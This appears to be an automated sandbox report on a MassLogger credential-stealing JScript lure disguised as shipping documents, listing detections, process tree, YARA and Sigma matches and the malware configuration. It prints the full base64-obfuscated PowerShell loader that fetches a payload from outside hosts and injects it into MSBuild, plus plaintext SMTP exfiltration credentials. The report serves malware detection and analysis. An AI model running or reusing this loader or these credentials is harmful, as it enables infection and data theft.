Edit tour

Windows Analysis Report
Shipping Documents SI 694_pdf.js

Overview

General Information

Sample name:	Shipping Documents SI 694_pdf.js
Analysis ID:	1676212
MD5:	e822f6aa3570eb13de7cd31d07d8cca0
SHA1:	36ec5a917df2a8c21fc775c25565b60d0d99da5b
SHA256:	67182a912dd8c9f738c203e4f666b3136dbe24239d1278e292155629a26a135c
Tags:	jsuser-abuse_ch
Infos:

Detection

MSIL Logger, MassLogger RAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected MSIL Logger

Yara detected MassLogger RAT

Yara detected Powershell decode and execute

Yara detected Powershell download and execute

Yara detected Telegram RAT

Yara detected UAC Bypass using CMSTP

.NET source code references suspicious native API functions

Connects to a pastebin service (likely for C&C)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Joe Sandbox ML detected suspicious sample

Sample has a suspicious name (potential lure to open the executable)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Net WebClient Casing Anomalies

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Silenttrinity Stager Msbuild Activity

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7148 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Shipping Documents SI 694_pdf.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6852 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$allocryptic = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($fronts));Invoke-Expression $allocryptic;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 6720 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Configuration

Threatname: MassLogger

{
  "EXfil Mode": "SMTP",
  "From": "hee@dermypack.com.my",
  "Password": "Hee@123456789!",
  "Server": "mail.dermypack.com.my"
}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.2501909012.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xefdf:$a1: get_encryptedPassword 0xf307:$a2: get_encryptedUsername 0xed7a:$a3: get_timePasswordChanged 0xee9b:$a4: get_passwordField 0xeff5:$a5: set_encryptedPassword 0x10951:$a7: get_logins 0x10602:$a8: GetOutlookPasswords 0x103f4:$a9: StartKeylogger 0x108a1:$a10: KeyLoggerEventArgs 0x10451:$a11: KeyLoggerEventArgsEventHandler
0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000C.00000002.2507426885.0000000002959000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.1550336005.000001E8A1DF8000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d7af:$a1: get_encryptedPassword 0x2dad7:$a2: get_encryptedUsername 0x2d54a:$a3: get_timePasswordChanged 0x2d66b:$a4: get_passwordField 0x2d7c5:$a5: set_encryptedPassword 0x2f121:$a7: get_logins 0x2edd2:$a8: GetOutlookPasswords 0x2ebc4:$a9: StartKeylogger 0x2f071:$a10: KeyLoggerEventArgs 0x2ec21:$a11: KeyLoggerEventArgsEventHandler
0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x54b197:$a1: get_encryptedPassword 0x54b4bf:$a2: get_encryptedUsername 0x54af32:$a3: get_timePasswordChanged 0x54b053:$a4: get_passwordField 0x54b1ad:$a5: set_encryptedPassword 0x54cb09:$a7: get_logins 0x54c7ba:$a8: GetOutlookPasswords 0x54c5ac:$a9: StartKeylogger 0x54ca59:$a10: KeyLoggerEventArgs 0x54c609:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: powershell.exe PID: 6852	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: powershell.exe PID: 6852	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6852	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: powershell.exe PID: 6852	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: powershell.exe PID: 6852	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: powershell.exe PID: 6852	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x31daf0:$a1: get_encryptedPassword 0xc2d3c3:$a1: get_encryptedPassword 0x31dcc3:$a2: get_encryptedUsername 0xc2d6dc:$a2: get_encryptedUsername 0x31d8ee:$a3: get_timePasswordChanged 0xc2d172:$a3: get_timePasswordChanged 0x31d9f6:$a4: get_passwordField 0xc2d293:$a4: get_passwordField 0x31db06:$a5: set_encryptedPassword 0xc2d3d9:$a5: set_encryptedPassword 0x31ea45:$a7: get_logins 0xc2ecdc:$a7: get_logins 0x31e7e3:$a8: GetOutlookPasswords 0xc2e98d:$a8: GetOutlookPasswords 0x31e6a3:$a9: StartKeylogger 0xc2e77f:$a9: StartKeylogger 0x31e9b4:$a10: KeyLoggerEventArgs 0xc2ec2c:$a10: KeyLoggerEventArgs 0x31e700:$a11: KeyLoggerEventArgsEventHandler 0xc2e7dc:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: powershell.exe PID: 6852	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xe8e3:$b2: ::FromBase64String( 0x177c4:$b2: ::FromBase64String( 0x41267:$b2: ::FromBase64String( 0x41e59:$b2: ::FromBase64String( 0x7f0bb:$b2: ::FromBase64String( 0x7fcad:$b2: ::FromBase64String( 0xa871b:$b2: ::FromBase64String( 0xa92c6:$b2: ::FromBase64String( 0xc9822:$b2: ::FromBase64String( 0xca414:$b2: ::FromBase64String( 0x103316:$b2: ::FromBase64String( 0x103fa2:$b2: ::FromBase64String( 0x104b99:$b2: ::FromBase64String( 0xbe7321:$b2: ::FromBase64String( 0xbe7f19:$b2: ::FromBase64String( 0xbe8d19:$b2: ::FromBase64String( 0xbed9d7:$b2: ::FromBase64String( 0xc0a2c5:$b2: ::FromBase64String( 0xc34c5c:$b2: ::FromBase64String( 0xc3748e:$b2: ::FromBase64String( 0xc381c4:$b2: ::FromBase64String(
Process Memory Space: MSBuild.exe PID: 6720	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: MSBuild.exe PID: 6720	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6720	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: MSBuild.exe PID: 6720	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: MSBuild.exe PID: 6720	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x836c:$a1: get_encryptedPassword 0x8685:$a2: get_encryptedUsername 0x811b:$a3: get_timePasswordChanged 0x823c:$a4: get_passwordField 0x8382:$a5: set_encryptedPassword 0x9c85:$a7: get_logins 0x9936:$a8: GetOutlookPasswords 0x9728:$a9: StartKeylogger 0x9bd5:$a10: KeyLoggerEventArgs 0x9785:$a11: KeyLoggerEventArgsEventHandler
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.powershell.exe.1e8a1e165d0.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
10.2.powershell.exe.1e8a1e165d0.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.powershell.exe.1e8a1e165d0.1.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
10.2.powershell.exe.1e8a1e165d0.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.powershell.exe.1e8a1e165d0.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3df:$a1: get_encryptedPassword 0xd707:$a2: get_encryptedUsername 0xd17a:$a3: get_timePasswordChanged 0xd29b:$a4: get_passwordField 0xd3f5:$a5: set_encryptedPassword 0xed51:$a7: get_logins 0xea02:$a8: GetOutlookPasswords 0xe7f4:$a9: StartKeylogger 0xeca1:$a10: KeyLoggerEventArgs 0xe851:$a11: KeyLoggerEventArgsEventHandler
10.2.powershell.exe.1e8a1e165d0.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x123c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x118bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x11bcd:$a4: \Orbitum\User Data\Default\Login Data 0x129c5:$a5: \Kometa\User Data\Default\Login Data
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.MSBuild.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler
12.2.MSBuild.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x141c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x136bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x139cd:$a4: \Orbitum\User Data\Default\Login Data 0x147c5:$a5: \Kometa\User Data\Default\Login Data
10.2.powershell.exe.1e8a1e165d0.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
10.2.powershell.exe.1e8a1e165d0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.powershell.exe.1e8a1e165d0.1.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
10.2.powershell.exe.1e8a1e165d0.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.powershell.exe.1e8a1e165d0.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler
10.2.powershell.exe.1e8a1e165d0.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x141c1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x136bf:$a3: \Google\Chrome\User Data\Default\Login Data 0x139cd:$a4: \Orbitum\User Data\Default\Login Data 0x147c5:$a5: \Kometa\User Data\Default\Login Data
10.2.powershell.exe.1e8aa30fb3d.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.powershell.exe.1e8a2e670c8.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.powershell.exe.1e8aa250000.3.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.powershell.exe.1e8aa250000.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.powershell.exe.1e8a2f26c05.2.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
10.2.powershell.exe.1e8a2f26c05.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.powershell.exe.1e8a2f26c05.2.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
10.2.powershell.exe.1e8a2f26c05.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.powershell.exe.1e8a2f26c05.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.powershell.exe.1e8a2f26c05.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x18a592:$a1: get_encryptedPassword 0x18a8ba:$a2: get_encryptedUsername 0x18a32d:$a3: get_timePasswordChanged 0x18a44e:$a4: get_passwordField 0x18a5a8:$a5: set_encryptedPassword 0x18bf04:$a7: get_logins 0x18bbb5:$a8: GetOutlookPasswords 0x18b9a7:$a9: StartKeylogger 0x18be54:$a10: KeyLoggerEventArgs 0x18ba04:$a11: KeyLoggerEventArgsEventHandler
10.2.powershell.exe.1e8a2e670c8.0.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
10.2.powershell.exe.1e8a2e670c8.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.powershell.exe.1e8a2e670c8.0.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
10.2.powershell.exe.1e8a2e670c8.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.powershell.exe.1e8a2e670c8.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.powershell.exe.1e8a2e670c8.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x24a0cf:$a1: get_encryptedPassword 0x24a3f7:$a2: get_encryptedUsername 0x249e6a:$a3: get_timePasswordChanged 0x249f8b:$a4: get_passwordField 0x24a0e5:$a5: set_encryptedPassword 0x24ba41:$a7: get_logins 0x24b6f2:$a8: GetOutlookPasswords 0x24b4e4:$a9: StartKeylogger 0x24b991:$a10: KeyLoggerEventArgs 0x24b541:$a11: KeyLoggerEventArgsEventHandler
Click to see the 29 entries

Other

Source	Rule	Description	Author	Strings
amsi64_6852.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_6852.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwA